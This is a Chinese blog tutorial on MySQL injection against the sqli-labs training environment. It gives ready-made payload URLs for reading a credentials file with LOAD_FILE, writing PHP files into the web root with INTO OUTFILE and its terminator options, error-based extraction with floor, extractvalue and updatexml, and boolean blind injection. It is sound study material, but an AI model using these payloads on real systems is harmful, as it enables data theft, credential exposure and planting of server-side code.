mysql文件读与取和报错注入与布尔盲注


一、union注入下的读文件

1、概述

在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。

2、使用条件

1)存在union注入
2)知道文件的绝对路径
3)没有单引号与双引号过滤
4)mysql有读文件的权限

3、开启mysql文件读写权限

1)打开mysql.ini文件
2)在最后面加入一行
secure_file_priv=

二、load_file()实操

1、目的

获取sqli中的db-creds.inc文件

2、环境准备

win7,phpstudy,sqli-labs,vmware

3、打开sqli第三关(less-3)

从使用union select开始

4、获取mysql的路径

使用@@datadir获取mysql绝对路径:
http://10.1.2.14/sqli/Less-3/?id=-1') union select 1,2,@@datadir --+

5、构造文件路径

1)获取路径
根据phpstudy默认安装的情况,MYSQL与WWW是在同一级目录,又本身可以知道sqli在WWW下,所以db-creds.inc文件的绝对路径:
C:\phpStudy\PHPTutorial\WWW\sqli\sql-connections\db-creds.inc
2)修改路径
由于路径需要改成windows能够识别的:C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\sql-connections\\db-creds.inc

6、读取文件

1)输入url:

http://10.1.2.14/sqli/Less-3/?id=-1') union select 1,2,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\sql-connections\\db-creds.inc') --+

2)文件为php格式的,所以查看源代码显示

四、into outfile

1、union select后

获取路径的操作和前面的一样
所以直接构造url:

http://10.1.2.14/sqli/Less-1/?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\1.php' --+

2、Lines terminated by

(1)用法:
into outfile ‘文件路径’ lines terminated by ‘写入的内容’
(2)使用Less-5演示,构造url:

http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\2.php' lines terminated by '<?php phpinfo() ?>'--+

3、Lines starting by

用法同上
构造url:

http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\3.php' Lines starting by '<?php phpinfo() ?>'--+

4、fields terminated by

用法也是一样
构造url:

http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\4.php' Fields terminated by '<?php phpinfo() ?>'--+

5、Columns terminated by

用法还是一样
构造url:

http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\5.php' Columns terminated by '<?php phpinfo() ?>'--+

五、报错注入

1、概述

构造报错payload让信息通过报错信息回显出来。在查询不回现内容,会答应错误信息。Update、insert等语句,会打印错误信息。

2、常用函数

floor()extractvalue()updatexml()

3、floor()

1)语句构造

select count(*),concat((select user()),floor(rand(0)*2))x from mysql.user group by x

2)报错原因还是有点不理解就没写

4、extractvalue()

1)extractvalue() :对XML文档进行查询的函数
2)语法:extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
3)报错原因:在第二个参数中输入不为路径的值就会报错执行第二个参中的语句。
4)测试语句

select extractvalue(1,concat('`',(select user())))

5、updatexml()

1)语法updatexml(xml_target,xpath_expr,new_xml)
xml_target: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
2)报错原因:同理在xpath中(第二个参数)输入不为路径的语句,就会执行这个语句
3)测试语句

select updatexml(1,concat('`',(select user())),1)

六、布尔盲注

1、概述

可以进行SQL注入,但是不能通过SQL注入漏洞看到数据库中的信息,但是可以通过真假判断数据库中的信息。

2、常用函数

ascii()、ord()、subst()、subtring、mid()、left()、length()、count()

七、布尔盲注常用语句

1、测试出当前数据库长度

http://10.1.2.14/sqli/Less-8/?id=1' and length(database())>num --+

改变num进行测试,错误显示时的数字就是数据库的长度

2、判断当前数据库名

http://10.1.2.14/sqli/Less-8/?id=1' and ascii(substr(database(),{0},1))>{1} --+

{0}从1开始递增测试
{1}替换成各个字符的ascii码

3、判断当前数据库中表的个数

这个可以不知道当前的数据库名

http://10.1.2.14/sqli/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())> {0} --+

{0}替换成字符的ascii码

4、其余情况

还有还多情况打算写一篇文章来,用脚本来边写边分析


文章作者: xi3w3n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xi3w3n !
评论
  目录